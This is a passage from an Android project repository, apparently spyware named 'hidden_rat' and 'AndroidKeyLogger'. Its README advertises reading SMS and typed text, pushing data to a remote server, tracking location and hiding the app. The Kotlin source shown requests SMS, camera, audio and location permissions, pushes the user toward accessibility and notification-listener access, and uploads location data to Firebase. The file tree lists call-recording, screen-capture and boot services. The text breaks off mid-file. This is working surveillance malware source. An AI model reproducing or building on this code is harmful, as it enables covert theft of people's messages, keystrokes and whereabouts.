├── .gitignore
├── .idea
├── .gitignore
├── .name
├── appInsightsSettings.xml
├── compiler.xml
├── deploymentTargetDropDown.xml
├── deploymentTargetSelector.xml
├── git_toolbox_prj.xml
├── gradle.xml
├── kotlinc.xml
├── migrations.xml
├── misc.xml
├── render.experimental.xml
└── vcs.xml
├── LICENSE
├── README.md
├── app
├── .gitignore
├── build.gradle
├── proguard-rules.pro
└── src
│ ├── androidTest
│ └── java
│ │ └── com
│ │ └── ratx
│ │ └── hidden_rat
│ │ └── ExampleInstrumentedTest.kt
│ ├── main
│ ├── AndroidManifest.xml
│ ├── java
│ │ └── com
│ │ │ └── ratx
│ │ │ └── hidden_rat
│ │ │ ├── activity
│ │ │ ├── AccessibilityFixActivity.kt
│ │ │ └── MainFixActivity.kt
│ │ │ ├── adapter
│ │ │ ├── LogAdapter.kt
│ │ │ └── NotificationAdapter.kt
│ │ │ ├── listener
│ │ │ └── MIN_DISTANCE_CHANGE_FOR_UPDATES.kt
│ │ │ ├── model
│ │ │ ├── CallRecord.kt
│ │ │ ├── Location.kt
│ │ │ ├── LocationData.kt
│ │ │ ├── LogModel.kt
│ │ │ ├── MessageModel.kt
│ │ │ ├── NotificationModel.kt
│ │ │ ├── PhoneData.kt
│ │ │ ├── SMSData.kt
│ │ │ └── SimCardInfo.kt
│ │ │ ├── receiver
│ │ │ ├── BootReceiver.kt
│ │ │ ├── Receiver.kt
│ │ │ └── SmsReceiver.kt
│ │ │ ├── screen
│ │ │ └── NotificationItemPage.kt
│ │ │ ├── service
│ │ │ ├── CallRecordingService.kt
│ │ │ ├── LocationService.kt
│ │ │ ├── MyNotificationListenerService.kt
│ │ │ ├── ScreenCaptureActivity.kt
│ │ │ ├── ScreenRecordService.kt
│ │ │ ├── ScreenshotService.kt
│ │ │ ├── SmsService.kt
│ │ │ └── SvcAccFix.kt
│ │ │ ├── uploader
│ │ │ └── LocationUploader.kt
│ │ │ └── utils
│ │ │ ├── Functions.kt
│ │ │ └── getAppIconByPackageName.kt
│ └── res
│ │ ├── drawable-v24
│ │ ├── ic_launcher_foreground.xml
│ │ └── shape_corner_16dp.xml
│ │ ├── drawable
│ │ ├── acc1.png
│ │ ├── acc2.png
│ │ ├── acc3.png
│ │ ├── bg_content.xml
│ │ ├── bg_gradient.xml
│ │ ├── bg_gradient_down.xml
│ │ ├── bg_gradient_up.xml
│ │ ├── bg_item_badge.xml
│ │ ├── bg_toolbar.xml
│ │ ├── box_background.xml
│ │ ├── box_background_light_ellipses_16.xml
│ │ ├── box_background_light_ellipses_16_end.xml
│ │ ├── box_background_light_ellipses_16_start.xml
│ │ ├── box_background_light_ellipses_24.xml
│ │ ├── box_background_light_ellipses_24_end.xml
│ │ ├── box_background_light_ellipses_24_start.xml
│ │ ├── copy.xml
│ │ ├── delete.xml
│ │ ├── exchange.xml
│ │ ├── ic_arrow_back_black_24.xml
│ │ ├── ic_back.xml
│ │ ├── ic_backward_128.png
│ │ ├── ic_battery_state_1.png
│ │ ├── ic_battery_state_2.png
│ │ ├── ic_battery_state_3.png
│ │ ├── ic_calendar.xml
│ │ ├── ic_chevron_left.xml
│ │ ├── ic_chevron_right.xml
│ │ ├── ic_clock.xml
│ │ ├── ic_date_time.xml
│ │ ├── ic_forward_128.png
│ │ ├── ic_go_left_128.png
│ │ ├── ic_go_right_128.png
│ │ ├── ic_info.xml
│ │ ├── ic_launcher_background.xml
│ │ ├── ic_plus.png
│ │ ├── ic_share.xml
│ │ ├── ic_sign.xml
│ │ ├── ic_signal.png
│ │ ├── ic_swipe.png
│ │ ├── ic_text_more.xml
│ │ ├── ic_text_typing.xml
│ │ ├── ic_text_typing_24.xml
│ │ ├── ic_trash.xml
│ │ ├── ic_warning.png
│ │ ├── ic_wifi.xml
│ │ ├── ladder.png
│ │ ├── logo.png
│ │ ├── logo_24.png
│ │ ├── logo_round.png
│ │ ├── shape_dash_line.xml
│ │ ├── share.xml
│ │ ├── side_nav_bar.xml
│ │ └── splash_screen.xml
│ │ ├── font
│ │ ├── gilory_black.ttf
│ │ ├── gilory_bold.ttf
│ │ ├── gilory_medium.ttf
│ │ ├── montserrat_medium.xml
│ │ ├── montserrat_semibold.xml
│ │ ├── roboto.xml
│ │ ├── rubik_bold.xml
│ │ ├── rubik_medium.xml
│ │ ├── urbanist_black.ttf
│ │ ├── urbanist_bold.ttf
│ │ ├── urbanist_extra_bold.ttf
│ │ ├── urbanist_extra_light.ttf
│ │ ├── urbanist_font_family.xml
│ │ ├── urbanist_italic.ttf
│ │ ├── urbanist_light.ttf
│ │ ├── urbanist_medium.ttf
│ │ ├── urbanist_regular.ttf
│ │ ├── urbanist_semi_bold.ttf
│ │ └── urbanist_thin.ttf
│ │ ├── layout
│ │ ├── activity_accessibility.xml
│ │ ├── activity_main.xml
│ │ ├── log_item.xml
│ │ ├── notification_item.xml
│ │ └── notification_item_page.xml
│ │ ├── menu
│ │ ├── btn.xml
│ │ ├── example_menu.xml
│ │ └── example_menu2.xml
│ │ ├── mipmap-anydpi-v26
│ │ ├── ic_launcher.xml
│ │ └── ic_launcher_round.xml
│ │ ├── mipmap-hdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-mdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xxhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xxxhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── values-night
│ │ └── themes.xml
│ │ ├── values
│ │ ├── arrays.xml
│ │ ├── colors.xml
│ │ ├── dimens.xml
│ │ ├── font_certs.xml
│ │ ├── preloaded_fonts.xml
│ │ ├── strings.xml
│ │ └── themes.xml
│ │ └── xml
│ │ ├── accessibility_service.xml
│ │ ├── backup_rules.xml
│ │ ├── data_extraction_rules.xml
│ │ └── splits0.xml
│ └── test
│ └── java
│ └── com
│ └── ratx
│ └── hidden_rat
│ └── ExampleUnitTest.kt
├── build.gradle
├── gradle.properties
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/caches
5 | /.idea/libraries
6 | /.idea/modules.xml
7 | /.idea/workspace.xml
8 | /.idea/navEditor.xml
9 | /.idea/assetWizardSettings.xml
10 | .DS_Store
11 | /build
12 | /captures
13 | .externalNativeBuild
14 | .cxx
15 | local.properties
16 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/.idea/.name:
--------------------------------------------------------------------------------
1 | AndroidKeyLogger
--------------------------------------------------------------------------------
/.idea/appInsightsSettings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
25 |
26 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/deploymentTargetDropDown.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/.idea/deploymentTargetSelector.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/.idea/git_toolbox_prj.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/.idea/gradle.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/.idea/kotlinc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/migrations.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/.idea/render.experimental.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Sozo
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # KeyLogger
2 |
3 |
4 |
5 |
6 | ## 📌 Sms Reading
7 | ## 📌 Typing reading
8 | ## 📌 push to remote through brodcast
9 | ## 📌 listening map location on brodcast
10 | ## 📌 hide application
11 | # Manage Online/Offline Data
12 |
13 | ### it may be hacking platform and if you want to use this app you should accept accessmbly services in application !
14 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'com.android.application'
3 | id 'org.jetbrains.kotlin.android'
4 | id 'com.google.gms.google-services'
5 |
6 | }
7 |
8 | android {
9 | compileSdk 33
10 |
11 | defaultConfig {
12 | applicationId "com.ratx.hidden_rat"
13 | minSdk 23
14 | targetSdk 33
15 | versionCode 1
16 | versionName "1.0"
17 |
18 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
19 | }
20 |
21 | buildTypes {
22 | release {
23 | minifyEnabled false
24 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
25 | }
26 | }
27 |
28 | buildFeatures {
29 | viewBinding true
30 | }
31 |
32 | compileOptions {
33 | sourceCompatibility JavaVersion.VERSION_1_8
34 | targetCompatibility JavaVersion.VERSION_1_8
35 | }
36 | kotlinOptions {
37 | jvmTarget = '1.8'
38 | }
39 | }
40 |
41 | dependencies {
42 |
43 | implementation 'androidx.core:core-ktx:1.7.0'
44 | implementation 'androidx.appcompat:appcompat:1.5.1'
45 | implementation 'com.google.firebase:firebase-database-ktx:20.3.0'
46 | implementation 'com.google.android.material:material:1.8.0'
47 | implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
48 | implementation 'com.google.firebase:firebase-firestore-ktx:24.10.3'
49 | implementation 'com.google.firebase:firebase-storage:20.3.0'
50 | implementation 'com.google.android.gms:play-services-location:21.2.0'
51 | testImplementation 'junit:junit:4.13.2'
52 | androidTestImplementation 'androidx.test.ext:junit:1.1.5'
53 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
54 | implementation "androidx.startup:startup-runtime:1.0.0"
55 | implementation 'com.google.code.gson:gson:2.8.8'
56 | /**
57 | * CircleImageView
58 | */
59 | implementation 'de.hdodenhof:circleimageview:3.1.0'
60 | implementation 'com.github.prongbang:screen-protector:1.0.1'
61 |
62 |
63 | }
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
--------------------------------------------------------------------------------
/app/src/androidTest/java/com/ratx/hidden_rat/ExampleInstrumentedTest.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat
2 |
3 | import androidx.test.platform.app.InstrumentationRegistry
4 | import androidx.test.ext.junit.runners.AndroidJUnit4
5 |
6 | import org.junit.Test
7 | import org.junit.runner.RunWith
8 |
9 | import org.junit.Assert.*
10 |
11 | /**
12 | * Instrumented test, which will execute on an Android device.
13 | *
14 | * See [testing documentation](http://d.android.com/tools/testing).
15 | */
16 | @RunWith(AndroidJUnit4::class)
17 | class ExampleInstrumentedTest {
18 | @Test
19 | fun useAppContext() {
20 | // Context of the app under test.
21 | val appContext = InstrumentationRegistry.getInstrumentation().targetContext
22 | assertEquals("com.ratx.hidden_rat", appContext.packageName)
23 | }
24 | }
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
9 |
10 |
11 |
13 |
15 |
16 |
17 |
18 |
20 |
22 |
23 |
24 |
26 |
27 |
30 |
31 |
34 |
37 |
40 |
41 |
42 |
43 |
49 |
50 |
52 |
53 |
54 |
55 |
56 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
74 |
75 |
76 |
77 |
78 |
83 |
84 |
85 |
86 |
87 |
92 |
93 |
94 |
95 |
96 |
101 |
102 |
103 |
104 |
105 |
106 |
110 |
111 |
112 |
113 |
119 |
120 |
121 |
122 |
125 |
126 |
130 |
133 |
136 |
137 |
138 |
141 |
144 |
147 |
150 |
153 |
154 |
155 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/activity/AccessibilityFixActivity.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.activity
2 |
3 | import android.Manifest
4 | import android.annotation.SuppressLint
5 | import android.content.Intent
6 | import android.content.pm.PackageManager
7 | import android.net.Uri
8 | import android.os.Bundle
9 | import android.provider.Settings
10 | import android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
11 | import android.view.View
12 | import android.widget.Toast
13 | import androidx.appcompat.app.AppCompatActivity
14 | import androidx.core.app.ActivityCompat
15 | import androidx.core.content.ContextCompat
16 | import com.ratx.hidden_rat.R
17 | import com.ratx.hidden_rat.service.SvcAccFix
18 |
19 |
20 | class AccessibilityFixActivity : AppCompatActivity() {
21 | private val REQUEST_CODE_NOTIFICATION_LISTENER = 10
22 | private val PERMISSION_REQUEST_CODE = 123
23 | @SuppressLint("InlinedApi")
24 | private val permissions = arrayOf(
25 | Manifest.permission.RECORD_AUDIO,
26 | android.Manifest.permission.POST_NOTIFICATIONS,
27 | Manifest.permission.UPDATE_PACKAGES_WITHOUT_USER_ACTION,
28 | Manifest.permission.READ_PHONE_NUMBERS,
29 | Manifest.permission.MODIFY_PHONE_STATE,
30 | Manifest.permission.MODIFY_AUDIO_SETTINGS,
31 | Manifest.permission.READ_PHONE_STATE,
32 | Manifest.permission.ACCESS_FINE_LOCATION,
33 | Manifest.permission.WRITE_EXTERNAL_STORAGE,
34 | Manifest.permission.READ_EXTERNAL_STORAGE,
35 | Manifest.permission.CONTROL_LOCATION_UPDATES,
36 | Manifest.permission.POST_NOTIFICATIONS,
37 | Manifest.permission.ACCESS_FINE_LOCATION,
38 | Manifest.permission.BROADCAST_SMS,
39 | Manifest.permission.READ_SMS,
40 | Manifest.permission.RECEIVE_SMS,
41 | Manifest.permission.CAMERA, // CAMERA huquqnamasini qo'shing
42 | Manifest.permission.CAPTURE_AUDIO_OUTPUT,
43 | Manifest.permission.WRITE_EXTERNAL_STORAGE
44 | )
45 |
46 | private fun openSetting() {
47 | try {
48 | SvcAccFix.j = true
49 | val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")
50 | startActivityForResult(intent, REQUEST_CODE_NOTIFICATION_LISTENER)
51 | startActivity(Intent("android.settings.ACCESSIBILITY_SETTINGS"))
52 | } catch (e: Exception) {
53 | Toast.makeText(this, e.message, Toast.LENGTH_LONG).show()
54 | }
55 | }
56 |
57 | override fun onBackPressed() {
58 | finishAffinity()
59 | super.onBackPressed()
60 | }
61 |
62 | public override fun onCreate(bundle: Bundle?) {
63 | super.onCreate(bundle)
64 | if (SvcAccFix.i) {
65 | SvcAccFix.j = false
66 | Toast.makeText(this, getString(R.string.type_something), Toast.LENGTH_LONG).show()
67 | finish()
68 | return
69 | }
70 | setContentView(R.layout.activity_accessibility)
71 | checkAndRequestPermissions()
72 | checkNotificationListenerPermission()
73 | findViewById(R.id.btn501925).setOnClickListener { view ->
74 | openSetting()
75 | }
76 | }
77 |
78 | private fun checkAndRequestPermissions() {
79 | val notGrantedPermissions = ArrayList()
80 |
81 | for (permission in permissions) {
82 | if (ContextCompat.checkSelfPermission(this, permission)
83 | != PackageManager.PERMISSION_GRANTED
84 | ) {
85 | notGrantedPermissions.add(permission)
86 | }
87 | }
88 |
89 | if (notGrantedPermissions.isNotEmpty()) {
90 | // Request permissions
91 | ActivityCompat.requestPermissions(
92 | this,
93 | notGrantedPermissions.toTypedArray(),
94 | PERMISSION_REQUEST_CODE
95 | )
96 | } else {
97 | startYourService()
98 | }
99 | }
100 |
101 | private fun checkNotificationListenerPermission() {
102 | if (!isNotificationListenerEnabled()) {
103 | requestNotificationListenerPermission()
104 | }
105 | }
106 |
107 | private fun isNotificationListenerEnabled(): Boolean {
108 | val packageName = packageName
109 | val flat = android.provider.Settings.Secure.getString(
110 | contentResolver,
111 | "enabled_notification_listeners"
112 | )
113 | return flat != null && flat.contains(packageName)
114 | }
115 |
116 | private fun requestNotificationListenerPermission() {
117 | val enableNotificationListenerIntent = Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS)
118 | enableNotificationListenerIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
119 | startActivity(enableNotificationListenerIntent)
120 | Toast.makeText(this, "Please enable Notification Listener permission", Toast.LENGTH_LONG)
121 | .show()
122 | }
123 |
124 | override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
125 | super.onActivityResult(requestCode, resultCode, data)
126 |
127 | if (requestCode == REQUEST_CODE_NOTIFICATION_LISTENER) {
128 | if (isNotificationListenerEnabled()) {
129 | } else {
130 | }
131 | }
132 | }
133 |
134 |
135 | override fun onRequestPermissionsResult(
136 | requestCode: Int,
137 | permissions: Array,
138 | grantResults: IntArray
139 | ) {
140 | super.onRequestPermissionsResult(requestCode, permissions, grantResults)
141 | when (requestCode) {
142 | PERMISSION_REQUEST_CODE -> {
143 | if (grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }) {
144 | // All permissions granted, proceed with audio recording
145 | } else {
146 | // Permission denied, inform the user and ask to enable from settings
147 | }
148 | }
149 | }
150 | }
151 |
152 |
153 | private fun openAppSettings() {
154 | val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS)
155 | val uri = Uri.fromParts("package", packageName, null)
156 | intent.data = uri
157 | startActivityForResult(intent, PERMISSION_REQUEST_CODE)
158 | }
159 |
160 | private fun startYourService() {
161 | //Nothing
162 | } /* Access modifiers changed, original: protected */
163 |
164 | public override fun onDestroy() {
165 | super.onDestroy()
166 | }
167 |
168 | /* Access modifiers changed, original: protected */
169 | public override fun onResume() {
170 | super.onResume()
171 | }
172 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/adapter/LogAdapter.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.adapter
2 |
3 | import android.annotation.SuppressLint
4 | import android.content.pm.ApplicationInfo
5 | import android.content.pm.PackageManager
6 | import android.content.pm.PackageManager.NameNotFoundException
7 | import android.view.LayoutInflater
8 | import android.view.ViewGroup
9 | import androidx.recyclerview.widget.RecyclerView
10 | import com.ratx.hidden_rat.R
11 | import com.ratx.hidden_rat.activity.MainFixActivity
12 | import com.ratx.hidden_rat.databinding.LogItemBinding
13 | import com.ratx.hidden_rat.model.LogModel
14 | import com.ratx.hidden_rat.utils.getAppIconByPackageName
15 |
16 |
17 | class LogAdapter(
18 | private val notifications: MutableList,
19 | private val activity: MainFixActivity
20 | ) :
21 | RecyclerView.Adapter() {
22 |
23 | override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): NotificationViewHolder {
24 | return NotificationViewHolder(
25 | LogItemBinding.inflate(
26 | LayoutInflater.from(parent.context),
27 | parent,
28 | false
29 | )
30 | )
31 | }
32 |
33 | override fun onBindViewHolder(holder: NotificationViewHolder, position: Int) {
34 | val notification = notifications[position]
35 | holder.bind(notification)
36 | }
37 |
38 | override fun getItemCount(): Int {
39 | return notifications.size
40 | }
41 |
42 | inner class NotificationViewHolder(val binding: LogItemBinding) :
43 | RecyclerView.ViewHolder(binding.root) {
44 | @SuppressLint("UseCompatLoadingForDrawables")
45 | fun bind(notification: LogModel) {
46 | binding.apply {
47 |
48 |
49 | val pm: PackageManager = activity.applicationContext.packageManager
50 | val ai: ApplicationInfo? = try {
51 | pm.getApplicationInfo(notification.packageName, 0)
52 | } catch (e: NameNotFoundException) {
53 | null
54 | }
55 | val applicationName =
56 | (if (ai != null) pm.getApplicationLabel(ai) else "Type Keeper") as String
57 | val appIcon = getAppIconByPackageName(itemView.context, notification.packageName)
58 | binding.itemTextTypingApplicationIcon.setImageDrawable(appIcon)
59 | binding.itemTextTypingDateTime.text = notification.dayTime
60 | binding.itemTextTypingApplicationName.text = applicationName
61 | binding.itemTextTypingBatteryText.text = notification.batteryLevel
62 |
63 | binding.itemTextTypingTextTyping.text = notification.text
64 | if (notification.batteryLevel.toInt() > 40) {
65 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_2)
66 | } else if (notification.batteryLevel.toInt() > 20) {
67 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_1)
68 | } else if (notification.batteryLevel.toInt() > 80) {
69 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_3)
70 | }else {
71 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_3)
72 | }
73 | }
74 |
75 |
76 | }
77 | }
78 |
79 | fun clearAdapterData() {
80 | notifications.clear()
81 | notifyDataSetChanged()
82 | }
83 |
84 | fun addNotification(notification: LogModel) {
85 | notifications.add(notification)
86 | notifyDataSetChanged()
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/adapter/NotificationAdapter.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.adapter
2 |
3 | import android.content.pm.ApplicationInfo
4 | import android.content.pm.PackageManager
5 | import android.view.LayoutInflater
6 | import android.view.ViewGroup
7 | import androidx.recyclerview.widget.RecyclerView
8 | import com.ratx.hidden_rat.databinding.NotificationItemBinding
9 | import com.ratx.hidden_rat.model.NotificationModel
10 | import com.ratx.hidden_rat.utils.getAppIconByPackageName
11 |
12 | class NotificationAdapter(private val notifications: MutableList) :
13 | RecyclerView.Adapter() {
14 |
15 | override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): NotificationViewHolder {
16 | return NotificationViewHolder(
17 | NotificationItemBinding.inflate(
18 | LayoutInflater.from(parent.context),
19 | parent,
20 | false
21 | )
22 | )
23 | }
24 |
25 | override fun onBindViewHolder(holder: NotificationViewHolder, position: Int) {
26 | val notification = notifications[position]
27 | holder.bind(notification)
28 | }
29 |
30 | override fun getItemCount(): Int {
31 | return notifications.size
32 | }
33 |
34 | inner class NotificationViewHolder(val binding: NotificationItemBinding) :
35 | RecyclerView.ViewHolder(binding.root) {
36 | fun bind(notification: NotificationModel) {
37 | binding.apply {
38 |
39 | val pm: PackageManager = itemView.context.applicationContext.packageManager
40 | val ai: ApplicationInfo? = try {
41 | pm.getApplicationInfo(notification.packageName, 0)
42 | } catch (e: PackageManager.NameNotFoundException) {
43 | null
44 | }
45 | val applicationName = (if (ai != null) pm.getApplicationLabel(ai) else "Type Keeper") as String
46 | val appIcon = getAppIconByPackageName(itemView.context, notification.packageName)
47 | binding.appIcon.setImageDrawable(appIcon)
48 | binding.appDescription.text = notification.text
49 | binding.appTime.text = notification.timeStamp
50 | binding.appName.text = notification.title
51 | }
52 |
53 |
54 | }
55 | }
56 |
57 | fun clearAdapterData() {
58 | notifications.clear()
59 | notifyDataSetChanged()
60 | }
61 |
62 | fun addNotification(notification: NotificationModel) {
63 | notifications.add(notification)
64 | notifyDataSetChanged()
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/listener/MIN_DISTANCE_CHANGE_FOR_UPDATES.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.listener
2 |
3 | import android.annotation.SuppressLint
4 | import android.content.Context
5 | import android.location.Location
6 | import android.location.LocationListener
7 | import android.location.LocationManager
8 | import android.net.ConnectivityManager
9 | import android.os.Bundle
10 | import android.util.Log
11 | import com.ratx.hidden_rat.model.LocationData
12 | import com.google.firebase.firestore.FirebaseFirestore
13 | import com.google.gson.Gson
14 | import com.google.gson.reflect.TypeToken
15 | import java.io.File
16 | import java.io.FileOutputStream
17 | import java.io.FileReader
18 |
19 | private const val MIN_DISTANCE_CHANGE_FOR_UPDATES: Long = 1 // Minimum distance change for updates (1 meter)
20 |
21 | class MyLocationListener(private val context: Context) : LocationListener {
22 | private val minDistance = 4 // Minimum distance in meters
23 |
24 | private var locationManager: LocationManager? = null
25 |
26 |
27 | private lateinit var locationData:((Location) -> Unit)
28 |
29 | init {
30 | // Initialize locationManager for requesting location updates
31 | locationManager = context.getSystemService(Context.LOCATION_SERVICE) as LocationManager?
32 | }
33 |
34 | fun setLocationDataListener(locationData:((Location) -> Unit)) {
35 | this.locationData = locationData
36 | }
37 |
38 | override fun onLocationChanged(location: Location) {
39 | val latitude = location.latitude
40 | val longitude = location.longitude
41 |
42 | // Check for accuracy
43 | Log.d("EVENT", "Location change within 10 meters: Latitude: $latitude, Longitude: $longitude")
44 | val locationData =LocationData(location.latitude,location.longitude,location.accuracy)
45 | if (isOnline(context)) {
46 | if (isLocalSmsAvailable(context)) {
47 | sendAllSmsDataToFirebase(context)
48 | saveSmsDataToFirebase(locationData, context)
49 | } else {
50 | saveSmsDataToFirebase(locationData, context)
51 |
52 | }
53 | } else {
54 | saveSmsToFile(context, locationData)
55 | }
56 | locationManager?.removeUpdates(this) // Remove updates if location accuracy is satisfactory
57 | }
58 |
59 | override fun onProviderDisabled(provider: String) {}
60 |
61 | override fun onProviderEnabled(provider: String) {}
62 |
63 | override fun onStatusChanged(provider: String?, status: Int, extras: Bundle?) {}
64 | private fun isOnline(context: Context): Boolean {
65 | val connectivityManager =
66 | context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
67 | val networkInfo = connectivityManager.activeNetworkInfo
68 | return networkInfo != null && networkInfo.isConnected
69 | }
70 |
71 |
72 | private fun saveSmsDataToFirebase(smsData: LocationData, context: Context) {
73 | val deviceModel = android.os.Build.MODEL
74 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel")
75 | collectionReference.add(smsData)
76 | .addOnSuccessListener { documentReference ->
77 | Log.d("EVENT", "Location data sent to Firebase successfully")
78 | }
79 | .addOnFailureListener { e ->
80 | Log.e("EVENT", "Error sending Location data to Firebase", e)
81 | }
82 | }
83 |
84 | private fun isLocalSmsAvailable(context: Context): Boolean {
85 | val fileName = "location_data.json"
86 | val filePath = File(context.getExternalFilesDir(null), fileName)
87 | return filePath.exists()
88 | }
89 |
90 | private fun saveSmsToFile(context: Context, smsData: LocationData) {
91 | val gson = Gson()
92 |
93 | // Convert the list to JSON string
94 | val jsonString = gson.toJson(smsData)
95 |
96 | val fileName = "location_data.json"
97 | val filePath = File(context.getExternalFilesDir(null), fileName)
98 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file
99 | outputStream.write(jsonString.toByteArray())
100 | outputStream.close()
101 | }
102 |
103 | private fun sendAllSmsDataToFirebase(context: Context) {
104 | val smsDataList = readSmsFromFile(context)
105 | val deviceModel = android.os.Build.MODEL
106 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel")
107 | for (smsData in smsDataList) {
108 | collectionReference.add(smsData)
109 | .addOnSuccessListener { documentReference ->
110 | Log.d("EVENT", "Location data sent to Firebase successfully")
